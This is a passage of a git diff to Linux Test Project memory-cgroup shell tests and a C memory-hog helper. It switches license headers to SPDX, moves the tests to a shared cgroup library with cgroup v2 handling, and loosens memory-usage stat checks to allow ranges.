-/*  it under the terms of the GNU General Public License as published by     */
-/*  the Free Software Foundation; either version 2 of the License, or        */
-/*  (at your option) any later version.                                      */
-/*                                                                           */
-/*  This program is distributed in the hope that it will be useful,          */
-/*  but WITHOUT ANY WARRANTY;  without even the implied warranty of          */
-/*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                */
-/*  the GNU General Public License for more details.                         */
-/*                                                                           */
-/*  You should have received a copy of the GNU General Public License        */
-/*  along with this program;  if not, write to the Free Software             */
-/*  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA  */
-/*                                                                           */
-/*  File:    mem_process.c                                                   */
-/*                                                                           */
-/*  Purpose: act as a memory hog for the memcg_control tests                 */
-/*                                                                           */
-/*  Author:  Mohamed Naufal Basheer <naufal11@gmail.com >                    */
-/*                                                                           */
-/*****************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+// Copyright (c) 2010 Mohamed Naufal Basheer
+// Author: Mohamed Naufal Basheer
 
 #include <sys/types.h>
 #include <sys/mman.h>
diff --git a/testcases/kernel/controllers/memcg/control/memcg_control_test.sh b/testcases/kernel/controllers/memcg/control/memcg_control_test.sh
index 4d9f1bb..093d50c 100644
--- a/testcases/kernel/controllers/memcg/control/memcg_control_test.sh
+++ b/testcases/kernel/controllers/memcg/control/memcg_control_test.sh
@@ -1,45 +1,14 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2010 Mohamed Naufal Basheer
+# Author: Mohamed Naufal Basheer
 
-################################################################################
-##                                                                            ##
-##   Copyright (c) 2010 Mohamed Naufal Basheer                                ##
-##                                                                            ##
-##   This program is free software;  you can redistribute it and/or modify    ##
-##   it under the terms of the GNU General Public License as published by     ##
-##   the Free Software Foundation; either version 2 of the License, or        ##
-##   (at your option) any later version.                                      ##
-##                                                                            ##
-##   This program is distributed in the hope that it will be useful,          ##
-##   but WITHOUT ANY WARRANTY;  without even the implied warranty of          ##
-##   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                ##
-##   the GNU General Public License for more details.                         ##
-##                                                                            ##
-##   You should have received a copy of the GNU General Public License        ##
-##   along with this program;  if not, write to the Free Software             ##
-##   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA  ##
-##                                                                            ##
-##                                                                            ##
-##   File:    memcg_control_test.sh                                           ##
-##                                                                            ##
-##   Purpose: Implement various memory controller tests                       ##
-##                                                                            ##
-##   Author:  Mohamed Naufal Basheer <naufal11@gmail.com>                     ##
-##                                                                            ##
-################################################################################
-
-if [ "x$(grep -w memory /proc/cgroups | cut -f4)" != "x1" ]; then
-	echo "WARNING:"
-	echo "Either kernel does not support memory resource controller or feature not enabled"
-	echo "Skipping all memcg_control testcases...."
-	exit 0
-fi
-
-export TCID="memcg_control"
-export TST_TOTAL=1
-export TST_COUNT=0
-
-export TMP=${TMP:-/tmp}
-cd $TMP
+TST_TESTFUNC=test
+TST_SETUP=setup
+TST_CLEANUP=cleanup
+TST_CNT=1
+TST_NEEDS_ROOT=1
+TST_NEEDS_TMPDIR=1
 
 PAGE_SIZE=$(tst_getconf PAGESIZE)
 
@@ -47,20 +16,14 @@
 ACTIVE_MEM_LIMIT=$PAGE_SIZE
 PROC_MEM=$((PAGE_SIZE * 2))
 
-TST_PATH=$PWD
-STATUS_PIPE="$TMP/status_pipe"
-
-PASS=0
-FAIL=1
+STATUS_PIPE="status_pipe"
 
 # Check if the test process is killed on crossing boundary
 test_proc_kill()
 {
-	cd $TMP
 	mem_process -m $PROC_MEM &
-	cd $OLDPWD
 	sleep 1
-	echo $! > tasks
+	ROD echo $! \> "$test_dir/$task_list"
 
 	#Instruct the test process to start acquiring memory
 	echo m > $STATUS_PIPE
@@ -77,87 +40,47 @@
 }
 
 # Validate the memory usage limit imposed by the hierarchically topmost group
-testcase_1()
+test1()
 {
-	TST_COUNT=1
-	tst_resm TINFO "Test #1: Checking if the memory usage limit imposed by the topmost group is enforced"
+	cd $TST_TMPDIR
 
-	echo "$ACTIVE_MEM_LIMIT" > $TST_PATH/mnt/$TST_NUM/memory.limit_in_bytes
-	echo "$TOT_MEM_LIMIT" > $TST_PATH/mnt/$TST_NUM/memory.memsw.limit_in_bytes
+	tst_res TINFO "Test #1: Checking if the memory usage limit imposed by the topmost group is enforced"
 
-	mkdir sub
-	(cd sub
+	ROD echo "$ACTIVE_MEM_LIMIT" \> "$test_dir/$memory_limit"
+	ROD echo "$TOT_MEM_LIMIT" \> "$test_dir/$memsw_memory_limit"
+
 	KILLED_CNT=0
 	test_proc_kill
 
 	if [ $PROC_MEM -gt $TOT_MEM_LIMIT ] && [ $KILLED_CNT -eq 0 ]; then
-		result $FAIL "Test #1: failed"
+		tst_res TFAIL "Test #1: failed"
 	else
-		result $PASS "Test #1: passed"
-	fi)
-	rmdir sub
+		tst_res TPASS "Test #1: passed"
+	fi
 }
 
-# Record the test results
-#
-# $1: Result of the test case, $PASS or $FAIL
-# $2: Output information
-result()
+setup()
 {
-	RES=$1
-	INFO=$2
+	cgroup_require "memory"
+	cgroup_version=$(cgroup_get_version "memory")
+	test_dir=$(cgroup_get_test_path "memory")
+	task_list=$(cgroup_get_task_list "memory")
 
-	if [ $RES -eq $PASS ]; then
-		tst_resm TPASS "$INFO"
+	if [ "$cgroup_version" = "2" ]; then
+		memory_limit="memory.max"
+		memsw_memory_limit="memory.swap.max"
 	else
-		: $((FAILED_CNT += 1))
-		tst_resm TFAIL "$INFO"
+		memory_limit="memory.limit_in_bytes"
+		memsw_memory_limit="memory.memsw.limit_in_bytes"
 	fi
+
+	tst_res TINFO "Test starts with cgroup version $cgroup_version"
 }
 
 cleanup()
 {
-	if [ -e $TST_PATH/mnt ]; then
-		umount $TST_PATH/mnt 2> /dev/null
-		rm -rf $TST_PATH/mnt
-	fi
+	cgroup_cleanup
 }
 
-do_mount()
-{
-	cleanup
-
-	mkdir $TST_PATH/mnt
-	mount -t cgroup -o memory cgroup $TST_PATH/mnt 2> /dev/null
-	if [ $? -ne 0 ]; then
-		tst_brkm TBROK NULL "Mounting cgroup to temp dir failed"
-		rmdir $TST_PATH/mnt
-		exit 1
-	fi
-}
-
-do_mount
-
-echo 1 > mnt/memory.use_hierarchy 2> /dev/null
-
-FAILED_CNT=0
-
-TST_NUM=1
-while [ $TST_NUM -le $TST_TOTAL ]; do
-	mkdir $TST_PATH/mnt/$TST_NUM
-	(cd $TST_PATH/mnt/$TST_NUM && testcase_$TST_NUM)
-	rmdir $TST_PATH/mnt/$TST_NUM
-	: $((TST_NUM += 1))
-done
-
-echo 0 > mnt/memory.use_hierarchy 2> /dev/null
-
-cleanup
-
-if [ "$FAILED_CNT" -ne 0 ]; then
-	tst_resm TFAIL "memcg_control: failed"
-	exit 1
-else
-	tst_resm TPASS "memcg_control: passed"
-	exit 0
-fi
+. cgroup_lib.sh
+tst_run
diff --git a/testcases/kernel/controllers/memcg/functional/Makefile b/testcases/kernel/controllers/memcg/functional/Makefile
index c4ae9f4..76ca9dd 100644
--- a/testcases/kernel/controllers/memcg/functional/Makefile
+++ b/testcases/kernel/controllers/memcg/functional/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/controllers/memcg/functional testcase suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, September 2009
-#
 
 top_srcdir		?= ../../../../..
 
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh b/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
index ce0885b..1be98a0 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
@@ -11,17 +11,13 @@
 MEMCG_TESTFUNC=test
 MEMCG_SHMMAX=1
 TST_TEST_DATA="--mmap-anon --mmap-file --shm"
-. memcg_lib.sh
-
-MEMORY_LIMIT=$PAGESIZE
-MEMORY_TO_ALLOCATE=$((MEMORY_LIMIT * 2))
 
 test()
 {
-	echo $MEMORY_LIMIT > memory.limit_in_bytes
+	ROD echo $MEMORY_LIMIT \> memory.limit_in_bytes
 
 	start_memcg_process $2 -s ${MEMORY_TO_ALLOCATE}
-	echo $MEMCG_PROCESS_PID > tasks
+	ROD echo $MEMCG_PROCESS_PID \> tasks
 
 	signal_memcg_process ${MEMORY_TO_ALLOCATE}
 	signal_memcg_process ${MEMORY_TO_ALLOCATE}
@@ -36,4 +32,9 @@
 	fi
 }
 
+. memcg_lib.sh
+
+MEMORY_LIMIT=$PAGESIZE
+MEMORY_TO_ALLOCATE=$((MEMORY_LIMIT * 2))
+
 tst_run
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh b/testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh
index 92ac259..5804687 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh
@@ -11,7 +11,6 @@
 MEMCG_TESTFUNC=test
 TST_CNT=6
 
-. memcg_lib.sh
 
 # Test memory.force_empty
 test1()
@@ -51,7 +50,8 @@
 {
 	# writing to non-empty top mem cgroup's force_empty
 	# should return failure
-	EXPECT_FAIL echo 1 \> /dev/memcg/memory.force_empty
+	EXPECT_FAIL echo 1 \> "$mount_point/memory.force_empty"
 }
 
+. memcg_lib.sh
 tst_run
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
index d9bb6d9..a89e244 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
@@ -1,7 +1,7 @@
 #! /bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2012 FUJITSU LIMITED
-# Copyright (c) 2014-2019 Linux Test Project
+# Copyright (c) 2014-2022 Linux Test Project
 # Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
 #
 # Author: Peng Haitao <penght@cn.fujitsu.com>
@@ -10,83 +10,101 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="killall find kill"
-TST_CLEANUP=memcg_cleanup
-TST_SETUP=memcg_setup
+TST_SETUP="${TST_SETUP:-memcg_setup}"
+TST_CLEANUP="${TST_CLEANUP:-memcg_cleanup}"
 TST_TESTFUNC=memcg_testfunc
 
-MEMCG_SHMMAX=${MEMCG_SHMMAX:-0}
-MEMCG_TESTFUNC=${MEMCG_TESTFUNC:-memcg_no_testfunc}
-
-. cgroup_lib.sh
-
-PAGESIZE=$(tst_getconf PAGESIZE)
-if [ $? -ne 0 ]; then
-	tst_brk TBROK "tst_getconf PAGESIZE failed"
-fi
-
-# Post 4.16 kernel updates stat in batch (> 32 pages) every time
-PAGESIZES=$(($PAGESIZE * 33))
-
-HUGEPAGESIZE=$(awk '/Hugepagesize/ {print $2}' /proc/meminfo)
-[ -z $HUGEPAGESIZE ] && HUGEPAGESIZE=0
-HUGEPAGESIZE=$(($HUGEPAGESIZE * 1024))
-
-orig_memory_use_hierarchy=
-orig_shmmax=
-
 memcg_require_memsw()
 {
-	if ! [ -e /dev/memcg/memory.limit_in_bytes ]; then
-		tst_brk TBROK "/dev/memcg must be mounted before calling memcg_require_memsw"
+	if ! [ -e "$mount_point/memory.limit_in_bytes" ]; then
+		tst_brk TBROK "$mount_point must be mounted before calling memcg_require_memsw"
 	fi
-	if ! [ -e /dev/memcg/memory.memsw.limit_in_bytes ]; then
+	if ! [ -e "$mount_point/memory.memsw.limit_in_bytes" ]; then
 		tst_brk TCONF "mem+swap is not enabled"
 	fi
 }
 
 memcg_require_hierarchy_disabled()
 {
-	if [ ! -e "/dev/memcg/memory.use_hierarchy" ]; then
-		tst_brk TBROK "/dev/memcg must be mounted before calling memcg_require_hierarchy_disabled"
+	if [ ! -e "$mount_point/memory.use_hierarchy" ]; then
+		tst_brk TBROK "$mount_point must be mounted before calling memcg_require_hierarchy_disabled"
 	fi
-	if [ $(cat /dev/memcg/memory.use_hierarchy) -eq 1 ]; then
+	if [ "$(cat "$mount_point/memory.use_hierarchy")" -eq 1 ]; then
 		tst_brk TCONF "Test requires root cgroup memory.use_hierarchy=0"
 	fi
 }
 
-memcg_setup()
+# Kernel memory allocated for the process is also charged.  It might depend on
+# the number of CPUs and number of nodes. For example on kernel v5.11
+# additionally total_cpus (plus 1 or 2) pages are charged to the group via
+# kernel memory.  For a two-node machine, additional 108 pages kernel memory
+# are charged to the group.
+#
+# Adjust the limit to account such per-CPU and per-node kernel memory.
+# $1 - expected cgroup memory limit value to adjust
+memcg_adjust_limit_for_kmem()
 {
-	if ! is_cgroup_subsystem_available_and_enabled "memory"; then
-		tst_brk TCONF "Either kernel does not support Memory Resource Controller or feature not enabled"
+	[ $# -ne 1 ] && tst_brk TBROK "memcg_adjust_limit_for_kmem expects 1 parameter"
+
+	local limit=$1
+
+	# Total number of CPUs
+	local total_cpus=`tst_ncpus`
+
+	# Total number of nodes
+	if [ ! -d /sys/devices/system/node/node0 ]; then
+		total_nodes=1
+	else
+		total_nodes=`ls /sys/devices/system/node/ | grep -c "node[0-9][0-9]*"`
 	fi
 
-	# Setup IPC
-	LTP_IPC_PATH="/dev/shm/ltp_${TCID}_$$"
-	LTP_IPC_SIZE=$PAGESIZE
-	ROD_SILENT dd if=/dev/zero of="$LTP_IPC_PATH" bs="$LTP_IPC_SIZE" count=1
-	ROD_SILENT chmod 600 "$LTP_IPC_PATH"
-	export LTP_IPC_PATH
-	# Setup IPC end
+	local node_mem=0
+	if [ $total_nodes -gt 1 ]; then
+		node_mem=$((total_nodes - 1))
+		node_mem=$((node_mem * PAGESIZE * 128))
+	fi
 
-	ROD mkdir /dev/memcg
-	ROD mount -t cgroup -omemory memcg /dev/memcg
+	limit=$((limit + 4 * PAGESIZE + total_cpus * PAGESIZE + node_mem))
 
-	# The default value for memory.use_hierarchy is 0 and some of tests
-	# (memcg_stat_test.sh and memcg_use_hierarchy_test.sh) expect it so
-	# while there are distributions (RHEL7U0Beta for example) that sets
-	# it to 1.
+	echo $limit
+}
+
+memcg_setup()
+{
+	cgroup_require "memory"
+	cgroup_version=$(cgroup_get_version "memory")
+
+	# Most of the tests here are testing specific parts of the cgroup v1 memory interface that is
+	# not present for cgroup2, so if it is already mounted on a cgroup v2 hierarchy we should skip
+	# the test.
+	# Some tests still make sense in v2 and should be modified in a future patch
+	if [ "$cgroup_version" = "2" ]; then
+		tst_brk TCONF "memory controller mounted on cgroup v2 hierarchy, skipping test."
+	fi
+
+	mount_point=$(cgroup_get_mountpoint "memory")
+	test_dir=$(cgroup_get_test_path "memory")
+
+	# For kernels older than v5.11 the default value for
+	# memory.use_hierarchy is 0 and some of tests (memcg_stat_test.sh and
+	# memcg_use_hierarchy_test.sh) expect it so while there are
+	# distributions (RHEL7U0Beta for example) that sets it to 1.
 	# Note: If there are already subgroups created it is not possible,
 	# to set this back to 0.
 	# This seems to be the default for all systems using systemd.
-	orig_memory_use_hierarchy=$(cat /dev/memcg/memory.use_hierarchy)
+	#
+	# Starting with kernel v5.11, the non-hierarchical mode is not
+	# available. See Linux kernel commit bef8620cd8e0 ("mm: memcg:
+	# deprecate the non-hierarchical mode").
+	orig_memory_use_hierarchy=$(cat "$mount_point/memory.use_hierarchy")
 	if [ -z "$orig_memory_use_hierarchy" ];then
-		tst_res TINFO "cat /dev/memcg/ failed"
+		tst_res TINFO "cat $mount_point failed"
 	elif [ "$orig_memory_use_hierarchy" = "0" ];then
 		orig_memory_use_hierarchy=""
 	else
-		echo 0 > /dev/memcg/memory.use_hierarchy 2>/dev/null
+		echo 0 > "$mount_point/memory.use_hierarchy" 2>/dev/null
 		if [ $? -ne 0 ];then
-			tst_res TINFO "set /dev/memcg/memory.use_hierarchy to 0 failed"
+			tst_res TINFO "set $mount_point/memory.use_hierarchy to 0 failed"
 		fi
 	fi
 
@@ -99,22 +117,19 @@
 
 	cd $TST_TMPDIR
 	# In order to remove all subgroups, we have to remove them recursively
-	if [ -e /dev/memcg/ltp_$$ ]; then
-		ROD find /dev/memcg/ltp_$$ -depth -type d -delete
+	if [ -e $test_dir ]; then
+		ROD find $test_dir -depth -type d -delete
 	fi
 
 	if [ -n "$orig_memory_use_hierarchy" ];then
-		echo $orig_memory_use_hierarchy > /dev/memcg/memory.use_hierarchy
+		echo $orig_memory_use_hierarchy > $mount_point/memory.use_hierarchy
 		if [ $? -ne 0 ];then
-			tst_res TINFO "restore /dev/memcg/memory.use_hierarchy failed"
+			tst_res TINFO "restore $mount_point/memory.use_hierarchy failed"
 		fi
 		orig_memory_use_hierarchy=""
 	fi
 
-	if [ -e "/dev/memcg" ]; then
-		umount /dev/memcg
-		rmdir /dev/memcg
-	fi
+	cgroup_cleanup
 
 	[ "$MEMCG_SHMMAX" = "1" ] && shmmax_cleanup
 }
@@ -140,7 +155,8 @@
 
 # Check size in memcg
 # $1 - Item name
-# $2 - Expected size
+# $2 - Expected size lower bound
+# $3 - Expected size upper bound (optional)
 check_mem_stat()
 {
 	local item_size
@@ -151,7 +167,13 @@
 		item_size=$(grep -w $1 memory.stat | cut -d " " -f 2)
 	fi
 
-	if [ "$2" = "$item_size" ]; then
+	if [ "$3" ]; then
+		if [ $item_size -ge $2 ] && [ $item_size -le $3 ]; then
+			tst_res TPASS "$1 is ${2}-${3} as expected"
+		else
+			tst_res TFAIL "$1 is $item_size, ${2}-${3} expected"
+		fi
+	elif [ "$2" = "$item_size" ]; then
 		tst_res TPASS "$1 is $2 as expected"
 	else
 		tst_res TFAIL "$1 is $item_size, $2 expected"
@@ -193,7 +215,7 @@
 
 		loops=$((loops - 1))
 		if [ $loops -le 0 ]; then
-			tst_brk TBROK "timed out on memory.usage_in_bytes"
+			tst_brk TBROK "timed out on memory.usage_in_bytes" $usage $usage_start $size
 		fi
 	done
 }
@@ -232,8 +254,10 @@
 	local size=$2
 	local total_size=$3
 	local stat_name=$4
-	local exp_stat_size=$5
-	local check_after_free=$6
+	local exp_stat_size_low=$5
+	local exp_stat_size_up=$6
+	local check_after_free=$7
+	local kmem_stat_name="${stat_name##*.}"
 
 	start_memcg_process $memtypes -s $size
 
@@ -244,7 +268,20 @@
 	echo $MEMCG_PROCESS_PID > tasks
 	signal_memcg_process $size
 
-	check_mem_stat $stat_name $exp_stat_size
+	if [ "$kmem_stat_name" = "max_usage_in_bytes" ] ||
+	   [ "$kmem_stat_name" = "usage_in_bytes" ]; then
+		local kmem=$(cat "memory.kmem.${kmem_stat_name}")
+		if [ $? -eq 0 ]; then
+			exp_stat_size_low=$((exp_stat_size_low + kmem))
+			exp_stat_size_up=$((exp_stat_size_up + kmem))
+		fi
+	fi
+
+	if [ "$exp_stat_size_low" = "$exp_stat_size_up" ]; then
+		check_mem_stat $stat_name $exp_stat_size_low
+	else
+		check_mem_stat $stat_name $exp_stat_size_low $exp_stat_size_up
+	fi
 
 	signal_memcg_process $size
 	if $check_after_free; then
@@ -314,7 +351,7 @@
 	local use_memsw=$2
 	local elimit
 
-	echo $limit > memory.limit_in_bytes
+	EXPECT_PASS echo $limit \> memory.limit_in_bytes
 	if [ $use_memsw -eq 1 ]; then
 		memcg_require_memsw
 		echo $limit > memory.memsw.limit_in_bytes
@@ -336,8 +373,8 @@
 
 memcg_testfunc()
 {
-	ROD mkdir /dev/memcg/ltp_$$
-	cd /dev/memcg/ltp_$$
+	ROD mkdir $test_dir/ltp_$$
+	cd $test_dir/ltp_$$
 
 	if type ${MEMCG_TESTFUNC}1 > /dev/null 2>&1; then
 		${MEMCG_TESTFUNC}$1 $1 "$2"
@@ -346,10 +383,39 @@
 	fi
 
 	cd $TST_TMPDIR
-	ROD rmdir /dev/memcg/ltp_$$
+	ROD rmdir $test_dir/ltp_$$
 }
 
 memcg_no_testfunc()
 {
 	tst_brk TBROK "No testfunc specified, set MEMCG_TESTFUNC"
 }
+
+. cgroup_lib.sh
+
+MEMCG_SHMMAX=${MEMCG_SHMMAX:-0}
+MEMCG_TESTFUNC=${MEMCG_TESTFUNC:-memcg_no_testfunc}
+
+PAGESIZE=$(tst_getconf PAGESIZE)
+if [ $? -ne 0 ]; then
+	tst_brk TBROK "tst_getconf PAGESIZE failed"
+fi
+
+# Post 4.16 kernel updates stat in batch (> 32 pages) every time
+PAGESIZES=$(($PAGESIZE * 33))
+
+# On recent Linux kernels (at least v5.4) updating stats happens in batches
+# (PAGESIZES) and also might depend on workload and number of CPUs.  The kernel
+# caches the data and does not prioritize stats precision.  This is especially
+# visible for max_usage_in_bytes where it usually exceeds
+# actual memory allocation.
+# When checking for usage_in_bytes and max_usage_in_bytes accept also higher values
+# from given range:
+MEM_USAGE_RANGE=$((PAGESIZES))
+
+HUGEPAGESIZE=$(awk '/Hugepagesize/ {print $2}' /proc/meminfo)
+[ -z $HUGEPAGESIZE ] && HUGEPAGESIZE=0
+HUGEPAGESIZE=$(($HUGEPAGESIZE * 1024))
+
+orig_memory_use_hierarchy=
+orig_shmmax=
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh b/testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh
index 31892fd..77d2933 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_limit_in_bytes.sh
@@ -12,7 +12,6 @@
 MEMCG_SHMMAX=1
 TST_CNT=15
 
-. memcg_lib.sh
 TST_CLEANUP=cleanup
 
 cleanup()
@@ -111,4 +110,5 @@
 	EXPECT_FAIL echo xx \> memory.limit_in_bytes
 }
 
+. memcg_lib.sh
 tst_run
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh
index 14daa46..3028105 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh
@@ -9,11 +9,6 @@
 MEMCG_TESTFUNC=test
 TST_CNT=4
 
-. memcg_lib.sh
-
-MEM_TO_ALLOC=$((PAGESIZE * 1024))
-MEM_LIMIT=$((MEM_TO_ALLOC * 2))
-
 # Run test cases which checks memory.[memsw.]max_usage_in_bytes after make
 # some memory allocation
 test_max_usage_in_bytes()
@@ -21,6 +16,10 @@
 	local item="memory.max_usage_in_bytes"
 	[ $1 -eq 1 ] && item="memory.memsw.max_usage_in_bytes"
 	local check_after_reset=$2
+	local exp_stat_size_low=$MEM_TO_ALLOC
+	local exp_stat_size_up=$MEM_EXPECTED_UPPER
+	local kmem_stat_name="${item##*.}"
+
 	start_memcg_process --mmap-anon -s $MEM_TO_ALLOC
 
 	warmup
@@ -28,15 +27,24 @@
 		return
 	fi
 
-	echo $MEMCG_PROCESS_PID > tasks
+	ROD echo $MEMCG_PROCESS_PID \> tasks
 	signal_memcg_process $MEM_TO_ALLOC
 	signal_memcg_process $MEM_TO_ALLOC
 
-	check_mem_stat $item $MEM_TO_ALLOC
+	if [ "$kmem_stat_name" = "max_usage_in_bytes" ] ||
+	   [ "$kmem_stat_name" = "usage_in_bytes" ]; then
+		local kmem=$(cat "memory.kmem.${kmem_stat_name}")
+		if [ $? -eq 0 ]; then
+			exp_stat_size_low=$((exp_stat_size_low + kmem))
+			exp_stat_size_up=$((exp_stat_size_up + kmem))
+		fi
+	fi
+
+	check_mem_stat $item $exp_stat_size_low $exp_stat_size_up
 
 	if [ $check_after_reset -eq 1 ]; then
 		echo 0 > $item
-		check_mem_stat $item 0
+		check_mem_stat $item 0 $PAGESIZES
 	fi
 
 	stop_memcg_process
@@ -53,8 +61,8 @@
 	tst_res TINFO "Test memory.memsw.max_usage_in_bytes"
 	memcg_require_memsw
 
-	echo $MEM_LIMIT > memory.limit_in_bytes
-	echo $MEM_LIMIT > memory.memsw.limit_in_bytes
+	EXPECT_PASS echo $MEM_LIMIT \> memory.limit_in_bytes
+	EXPECT_PASS echo $MEM_LIMIT \> memory.memsw.limit_in_bytes
 	test_max_usage_in_bytes 1 0
 }
 
@@ -69,9 +77,15 @@
 	tst_res TINFO "Test reset memory.memsw.max_usage_in_bytes"
 	memcg_require_memsw
 
-	echo $MEM_LIMIT > memory.limit_in_bytes
-	echo $MEM_LIMIT > memory.memsw.limit_in_bytes
+	EXPECT_PASS echo $MEM_LIMIT \> memory.limit_in_bytes
+	EXPECT_PASS echo $MEM_LIMIT \> memory.memsw.limit_in_bytes
 	test_max_usage_in_bytes 1 1
 }
 
+. memcg_lib.sh
+
+MEM_TO_ALLOC=$((PAGESIZE * 1024))
+MEM_EXPECTED_UPPER=$((MEM_TO_ALLOC + MEM_USAGE_RANGE))
+MEM_LIMIT=$((MEM_TO_ALLOC * 2))
+
 tst_run
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh
index e9950a0..96f5360 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_memsw_limit_in_bytes_test.sh
@@ -9,7 +9,6 @@
 MEMCG_TESTFUNC=test
 TST_CNT=12
 
-. memcg_lib.sh
 
 test1()
 {
@@ -55,7 +54,7 @@
 {
 	memcg_require_memsw
 
-	echo 10M > memory.limit_in_bytes
+	ROD echo 10M \> memory.limit_in_bytes
 
 	if tst_kvcmp -lt "2.6.31"; then
 		EXPECT_FAIL echo -1 \> memory.memsw.limit_in_bytes
@@ -68,7 +67,7 @@
 {
 	memcg_require_memsw
 
-	echo 10M > memory.limit_in_bytes
+	ROD echo 10M \> memory.limit_in_bytes
 	EXPECT_FAIL echo 1.0 \> memory.memsw.limit_in_bytes
 }
 
@@ -76,7 +75,7 @@
 {
 	memcg_require_memsw
 
-	echo 10M > memory.limit_in_bytes
+	ROD echo 10M \> memory.limit_in_bytes
 	EXPECT_FAIL echo 1xx \> memory.memsw.limit_in_bytes
 }
 
@@ -84,8 +83,9 @@
 {
 	memcg_require_memsw
 
-	echo 10M > memory.limit_in_bytes
+	ROD echo 10M \> memory.limit_in_bytes
 	EXPECT_FAIL echo xx \> memory.memsw.limit_in_bytes
 }
 
+. memcg_lib.sh
 tst_run
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh
index 272d777..86a705f 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh
@@ -9,7 +9,6 @@
 MEMCG_TESTFUNC=test
 TST_CNT=4
 
-. memcg_lib.sh
 
 
 # Run test cases which test memory.move_charge_at_immigrate
@@ -34,10 +33,10 @@
 		return
 	fi
 
-	echo $MEMCG_PROCESS_PID > subgroup_a/tasks
+	ROD echo $MEMCG_PROCESS_PID \> subgroup_a/tasks
 	signal_memcg_process $total_size "subgroup_a/"
 
-	mkdir subgroup_b
+	ROD mkdir subgroup_b
 	echo $move_charge_mask > subgroup_b/memory.move_charge_at_immigrate
 	echo $MEMCG_PROCESS_PID > subgroup_b/tasks
 
@@ -80,4 +79,5 @@
 		$((PAGESIZES * 2)) 3 $PAGESIZES $PAGESIZES 0 0
 }
 
+. memcg_lib.sh
 tst_run
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh b/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh
index 1a6128a..63a4258 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh
@@ -13,59 +13,59 @@
 MEMCG_SHMMAX=1
 TST_CNT=10
 
-. memcg_lib.sh
 
 # Test the management and counting of memory
 test1()
 {
-	test_mem_stat "--mmap-anon" $PAGESIZES $PAGESIZES "rss" $PAGESIZES false
+	test_mem_stat "--mmap-anon" $PAGESIZES $PAGESIZES "rss" $PAGESIZES $PAGESIZES false
 }
 
 test2()
 {
-	test_mem_stat "--mmap-file" $PAGESIZE $PAGESIZE "rss" 0 false
+	test_mem_stat "--mmap-file" $PAGESIZE $PAGESIZE "rss" 0 0 false
 }
 
 test3()
 {
-	test_mem_stat "--shm -k 3" $PAGESIZE $PAGESIZE "rss" 0 false
+	test_mem_stat "--shm -k 3" $PAGESIZE $PAGESIZE "rss" 0 0 false
 }
 
 test4()
 {
 	test_mem_stat "--mmap-anon --mmap-file --shm" \
-		$PAGESIZES $((PAGESIZES * 3)) "rss" $PAGESIZES false
+		$PAGESIZES $((PAGESIZES * 3)) "rss" $PAGESIZES $PAGESIZES false
 }
 
 test5()
 {
-	test_mem_stat "--mmap-lock1" $PAGESIZES $PAGESIZES "rss" $PAGESIZES false
